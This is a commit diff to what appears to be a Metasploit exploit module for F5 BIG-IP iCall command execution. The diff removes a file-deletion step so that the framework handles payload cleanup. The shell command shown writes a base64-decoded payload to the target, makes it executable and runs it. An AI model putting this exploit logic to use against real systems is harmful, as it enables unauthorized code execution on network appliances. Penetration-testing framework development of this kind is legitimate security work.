Let Filedropper handle removal

Author: jhart-r7

modules/exploits/linux/http/f5_icall_cmd.rb

@@ -235,7 +235,7 @@ def exploit
     # phase 1: create iCall script to create file with payload, execute it and remove it.
     register_file_for_cleanup @payload_path
 
-    shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path};rm -f #{@payload_path})
+    shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})
     cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"})
 
     arg_max = datastore['ARG_MAX']